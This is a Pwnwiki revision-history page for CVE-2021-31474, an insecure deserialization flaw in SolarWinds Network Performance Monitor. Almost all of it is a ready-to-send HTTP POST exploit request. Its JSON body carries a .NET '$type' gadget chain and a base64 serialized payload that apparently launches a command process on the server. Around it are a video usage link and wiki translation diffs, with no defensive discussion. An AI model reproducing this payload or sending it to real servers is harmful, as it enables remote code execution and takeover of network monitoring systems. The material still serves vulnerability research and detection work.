Pwnwiki: Marked this version for translation

2021-05-26T00:35:30Z
Marked this version for translation
Pwnwiki at 00:34, 26 May 2021

2021-05-26T00:34:52Z
Pwnwiki: Created page with " ==POC==
 POST /api/Action/TestAction HTTP/1.1 Host:  Content-Length: 3978 Accept: application/json, text/javascript, */*; q=0.01 X-XSRF-TOKEN: 
2021-05-26T00:34:23Z
Created page with "<languages /> ==POC== <pre> POST /api/Action/TestAction HTTP/1.1 Host: <target> Content-Length: 3978 Accept: application/json, text/javascript, */*; q=0.01 X-XSRF-TOKEN: <toke..."
New page
<languages />

==POC==

<pre>

POST /api/Action/TestAction HTTP/1.1

Host: <target>

Content-Length: 3978

Accept: application/json, text/javascript, */*; q=0.01

X-XSRF-TOKEN: <token>

X-Requested-With: XMLHttpRequest

ViewLimitationID: 0

User-Agent: Mozilla/5.0

Content-Type: application/json; charset=UTF-8

Cookie: <cookie>

Connection: close



{

    "EnvironmentType": "Alerting",

    "ActionDefinition": {

        "$type": "SolarWinds.Orion.Core.Models.Actions.ActionDefinition, SolarWinds.Orion.Actions.Models",

        "ID": 124,

        "ActionTypeID": "Email",

        "Title": "Send alert email when path to google was changed",

        "Description": "Send alert email when path to google was changed",

        "Enabled": true,

        "Order": 1,

        "IconPath": null,

        "IsShared": false,

        "ActionProperties": [

            {

                "$type": "SolarWinds.Orion.Core.Models.Actions.ActionProperty, SolarWinds.Orion.Actions.Models",

                "PropertyName": "EmailBCC",

                "PropertyValue": "${DefaultEmailBCC}",

                "IsShared": false

            }

        ],

        "TimePeriods": [],

        "TransitiveID": null

    },

    "ActionContext": {

        "$type": "SolarWinds.Orion.Core.Models.Actions.Contexts.AlertingActionContext, SolarWinds.Orion.Actions.Models",

        "ExecutionMode": 0,

        "EnviromentType": 0,

        "EntityType": "Orion.NetPath.ServiceAssignments",

        "EntityUri": "swis://EX-MB02./Orion/Orion.NetPath.ServiceAssignments/ProbeID=1,EndpointServiceID=1",

        "EntityUris": null,

        "IsGlobalAlert": false,

        "AlertContext": {

            "$type": "SolarWinds.Orion.Core.Models.Actions.Contexts.AlertContext, SolarWinds.Orion.Actions.Models",

            "AlertName": "Path to Google",

            "CreatedBy": null

        },

        "AlertActiveId": null,

        "AlertObjectId": null,

        "NetObjectData": null,

        "ObjectDataExists": false,

        "MacroContext": {

            "$type": "SolarWinds.Orion.Core.Models.MacroParsing.MacroContext, SolarWinds.Orion.Core.Models.V1",

            "contexts": [

                {

                    "$type": "SolarWinds.Orion.Core.Models.MacroParsing.SwisEntityContext, SolarWinds.Orion.Core.Models.V1",

                    "EntityProperties": {

                        "$type": "SolarWinds.InformationService.Contract2.PropertyBag, SolarWinds.InformationService.Contract2",

                        "a": {

                            "$type": "System.IdentityModel.Tokens.SessionSecurityToken, System.IdentityModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",

                            "SessionToken": {

                                "$type": "System.Byte[], mscorlib",

                                "$value": "QBRTZWN1cml0eUNvbnRleHRUb2tlbkAHVmVyc2lvboNAGVNlY3VyZUNvbnZlcnNhdGlvblZlcnNpb26ZKGh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDIvc2NAAklkg0AJQ29udGV4dElkg0ADS2V5nwEBQA1FZmZlY3RpdmVUaW1lg0AKRXhwaXJ5VGltZYNAEEtleUVmZmVjdGl2ZVRpbWWDQA1LZXlFeHBpcnlUaW1lg0APQ2xhaW1zUHJpbmNpcGFsQApJZGVudGl0aWVzQAhJZGVudGl0eUAOQm9vdFN0cmFwVG9rZW6ayARBQUVBQUFELy8vLy9BUUFBQUFBQUFBQU1BZ0FBQUY1TmFXTnliM052Wm5RdVVHOTNaWEpUYUdWc2JDNUZaR2wwYjNJc0lGWmxjbk5wYjI0OU15NHdMakF1TUN3Z1EzVnNkSFZ5WlQxdVpYVjBjbUZzTENCUWRXSnNhV05MWlhsVWIydGxiajB6TVdKbU16ZzFObUZrTXpZMFpUTTFCUUVBQUFCQ1RXbGpjbTl6YjJaMExsWnBjM1ZoYkZOMGRXUnBieTVVWlhoMExrWnZjbTFoZEhScGJtY3VWR1Y0ZEVadmNtMWhkSFJwYm1kU2RXNVFjbTl3WlhKMGFXVnpBUUFBQUE5R2IzSmxaM0p2ZFc1a1FuSjFjMmdCQWdBQUFBWURBQUFBdHdVOFAzaHRiQ0IyWlhKemFXOXVQU0l4TGpBaUlHVnVZMjlrYVc1blBTSjFkR1l0TVRZaVB6NE5DanhQWW1wbFkzUkVZWFJoVUhKdmRtbGtaWElnVFdWMGFHOWtUbUZ0WlQwaVUzUmhjblFpSUVselNXNXBkR2xoYkV4dllXUkZibUZpYkdWa1BTSkdZV3h6WlNJZ2VHMXNibk05SW1oMGRIQTZMeTl6WTJobGJXRnpMbTFwWTNKdmMyOW1kQzVqYjIwdmQybHVabmd2TWpBd05pOTRZVzFzTDNCeVpYTmxiblJoZEdsdmJpSWdlRzFzYm5NNmMyUTlJbU5zY2kxdVlXMWxjM0JoWTJVNlUzbHpkR1Z0TGtScFlXZHViM04wYVdOek8yRnpjMlZ0WW14NVBWTjVjM1JsYlNJZ2VHMXNibk02ZUQwaWFIUjBjRG92TDNOamFHVnRZWE11YldsamNtOXpiMlowTG1OdmJTOTNhVzVtZUM4eU1EQTJMM2hoYld3aVBnMEtJQ0E4VDJKcVpXTjBSR0YwWVZCeWIzWnBaR1Z5TGs5aWFtVmpkRWx1YzNSaGJtTmxQZzBLSUNBZ0lEeHpaRHBRY205alpYTnpQZzBLSUNBZ0lDQWdQSE5rT2xCeWIyTmxjM011VTNSaGNuUkpibVp2UGcwS0lDQWdJQ0FnSUNBOGMyUTZVSEp2WTJWemMxTjBZWEowU1c1bWJ5QkJjbWQxYldWdWRITTlJaTlqSUdOaGJHTXVaWGhsSWlCVGRHRnVaR0Z5WkVWeWNtOXlSVzVqYjJScGJtYzlJbnQ0T2s1MWJHeDlJaUJUZEdGdVpHRnlaRTkxZEhCMWRFVnVZMjlrYVc1blBTSjdlRHBPZFd4c2ZTSWdWWE5sY2s1aGJXVTlJaUlnVUdGemMzZHZjbVE5SW50NE9rNTFiR3g5SWlCRWIyMWhhVzQ5SWlJZ1RHOWhaRlZ6WlhKUWNtOW1hV3hsUFNKR1lXeHpaU0lnUm1sc1pVNWhiV1U5SW1OdFpDSWdMejROQ2lBZ0lDQWdJRHd2YzJRNlVISnZZMlZ6Y3k1VGRHRnlkRWx1Wm04K0RRb2dJQ0FnUEM5elpEcFFjbTlqWlhOelBnMEtJQ0E4TDA5aWFtVmpkRVJoZEdGUWNtOTJhV1JsY2k1UFltcGxZM1JKYm5OMFlXNWpaVDROQ2p3dlQySnFaV04wUkdGMFlWQnliM1pwWkdWeVBncz0BAQEBAQ=="

                            }

                        }

                    }

                }

            ]

        }

    }

}

</pre>



===Usage===

https://www.youtube.com/watch?v=wq1ifkYyn_w
@@ Line 77: / Line 77: @@
 <translate>
-===使用教程===
+===使用教程=== <!--T:1-->
 </translate>
 https://www.youtube.com/watch?v=wq1ifkYyn_w
CVE-2021–31474 SolarWinds Network Performance Monitor 不安全數據反序列化漏洞 - Revision history

Pwnwiki: Marked this version for translation

Pwnwiki at 00:34, 26 May 2021
